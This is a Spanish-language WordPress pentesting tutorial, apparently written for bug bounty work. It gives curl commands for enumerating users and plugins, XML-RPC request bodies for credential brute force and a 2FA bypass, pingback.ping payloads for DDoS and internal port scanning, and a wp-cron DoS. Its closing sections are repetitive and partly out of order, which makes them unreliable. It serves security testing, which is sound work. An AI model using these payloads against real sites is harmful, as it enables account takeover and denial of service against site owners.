Pentesting para WordPress: Bug Bounty Parte 1 - Guía de Seguridad Web

Recientemente he estado trabajando en la explotación de vulnerabilidades en WordPress y me gustaría compartir algunos de los conocimientos adquiridos sobre cómo llevar a cabo este proceso de manera técnica.

Información Básica: 

La ubicación de los temas de wordpress es: /wp-content/themes/ así que, si cambia algo de php del tema para obtener RCE, probablemente usará esa ruta. 

  • Por ejemplo: /wp-content/themes/twentytwelve/404.php
  • Otra ruta:  /wp-content/theme/default/404.php

En wp-config.php puede encontrar la contraseña raíz de la base de datos.

Rutas de login predeterminadas para verificar: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login.

Principales archivos de WordPress:

  • index.php
  • license.txt contiene información útil como la versión de WordPress instalada.
  • wp-activate.php se utiliza para el proceso de activación de correo electrónico al configurar un nuevo sitio de WordPress.
  • Carpetas de inicio de sesión (se puede cambiar el nombre para ocultarlo):
    • /wp-admin/login.php
    • /wp-admin/wp-login.php
    • /login.php
    • /wp-login.php
  • xmlrpc.php es un archivo que representa una función de WordPress que permite que los datos se transmitan con HTTP actuando como mecanismo de transporte y XML como mecanismo de codificación. Este tipo de comunicación ha sido reemplazada por el WordPress REST API.
  • wp-content la carpeta es el directorio principal donde se almacenan los complementos y los temas.
  • wp-content/uploads/ es el directorio donde se almacenan los archivos subidos a la plataforma.
  • wp-includes/ este es el directorio donde se almacenan los archivos principales, como certificados, fuentes, archivos JavaScript y widgets.

Post Explotación:

El archivo wp-config.php contiene la información requerida por WordPress para conectarse a la base de datos, como el nombre de la base de datos, el host de la base de datos, el nombre de usuario y la contraseña, las claves de autenticación y el prefijo de la tabla de la base de datos. Este archivo de configuración también se puede usar para activar el modo DEBUG, que puede ser útil para solucionar problemas.

Permisos de usuarios

  • Administrator
  • Editor: Publica y gestiona sus publicaciones y las de otros
  • Author: Publicar y administrar sus propias publicaciones.
  • Contributor: Escribe y administra sus publicaciones, pero no puede publicarlas.
  • Subscriber: Explorar publicaciones y editar su perfil.

Enumeración Manual:

Compruebe si puede encontrar los archivos /license.txt o /readme.html, dentro del código fuente de la página:
  • Ejemplo: aquí.

    meta name:

  • Archivos de enlace CSS

  • Archivos de JavaScript

¿Cómo conseguir los Plugin?

Como tenemos conocimientos en que usamos herramientas automatizada, esto también lo podes generar manualmente.
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

¿Cómo conseguir el tema de WordPress?

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Extraer versiones en general

curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Enumeración activa:

Usuarios:

Obtiene usuarios válidos de un sitio de WordPress mediante ID de usuarios de fuerza bruta:

curl -s -I -X GET http://blog.example.com/?author=1
Si las respuestas son 200 o 30X, eso significa que la identificación es válida. Si la respuesta es 400, entonces la identificación no es válida.

wp-json

También puede intentar obtener información sobre los usuarios consultando:

curl http://blog.example.com/wp-json/wp/v2/users
Solo se proporcionará información sobre los usuarios que tienen esta función habilitada. 
También tenga en cuenta que /wp-json/wp/v2/pages podría filtrar direcciones IP.

XML-RPC

Si xml-rpc.php está activo, puede realizar una fuerza bruta de credenciales o usarlo para lanzar ataques DoS a otros recursos. Aquí exploit.
Para ver si está activo, intente acceder a /xmlrpc.php y envíe esta solicitud:

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Fuerza bruta de credenciales

wp.getUserBlogs, _wp.getCategories _ o metaWeblog.getUsersBlogs son algunos de los métodos que se pueden utilizar para las credenciales de fuerza bruta. Si puede encontrar alguno de ellos, puede enviar algo como:
Request Type:POST
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>username</value></param>
<param><value>password</value></param>
</params>
</methodCall>

Debería aparecer el mensaje "Nombre de usuario o contraseña incorrectos" dentro de una respuesta de código 200 si las credenciales no son válidas. 

También hay una forma más rápida de obtener credenciales de fuerza bruta utilizando system.multicall, ya que puede probar varias credenciales en la misma solicitud:

Bypass 2FA

Este método está diseñado para programas y no para humanos, y es antiguo, por lo tanto, no es compatible con 2FA. Por lo tanto, si tiene credenciales válidas pero la entrada principal está protegida por 2FA, es posible que pueda abusar de xmlrpc.php para iniciar sesión con esas credenciales sin pasar por 2FA. Tenga en cuenta que no podrá realizar todas las acciones que puede realizar a través de la consola, pero es posible que aún pueda acceder a RCE como lo explica Ippsec en https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

 

DDoS o escaneo de puertos

Si puede encontrar el método pingback.ping dentro de la lista, puede hacer que WordPress envíe una solicitud arbitraria a cualquier host/puerto. Esto se puede usar para pedirle a miles de sitios de WordPress que accedan a una ubicación (para que se produzca un DDoS en esa ubicación) o se puede usar para hacer que WordPress escanee alguna red interna (puede indicar cualquier puerto).

 

<methodCall>
    <methodName>pingback.ping</methodName>
    <params>
        <param><value><string>http://<YOUR SERVER >:<port></string></value></param>
        <param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
    </params>
</methodCall>
 

Si obtiene un código de falla con un valor superior a 0 (17), significa que el puerto está abierto. Eche un vistazo al uso de **system.multicall** en la sección anterior para aprender cómo abusar de este método para causar DDoS. 

wp-cron.php DoS

Este archivo generalmente existe en la raíz del sitio de WordPress: /wp-cron.php Cuando se accede a este archivo, se realiza una consulta MySQL "pesada", por lo que los atacantes podrían utilizarlo para provocar un DoS. Además, de forma predeterminada, se llama a wp-cron.php en cada carga de página (cada vez que un cliente solicita cualquier página de WordPress), lo que en sitios de alto tráfico puede causar problemas (DoS).

Request Type:POST
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>username</value></param>
<param><value>password</value></param>
</params>
</methodCall>
Con las credenciales correctas, puede cargar un archivo. En la respuesta aparecerá la ruta https://gist.github.com/georgestephanis/5681982
 
DDOS
  
<methodCall>
    <methodName>pingback.ping</methodName>
    <params>
        <param><value><string>http://target/</string></value></param>
        <param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
    </params>
</methodCall>
 
Artículo Anterior Artículo Siguiente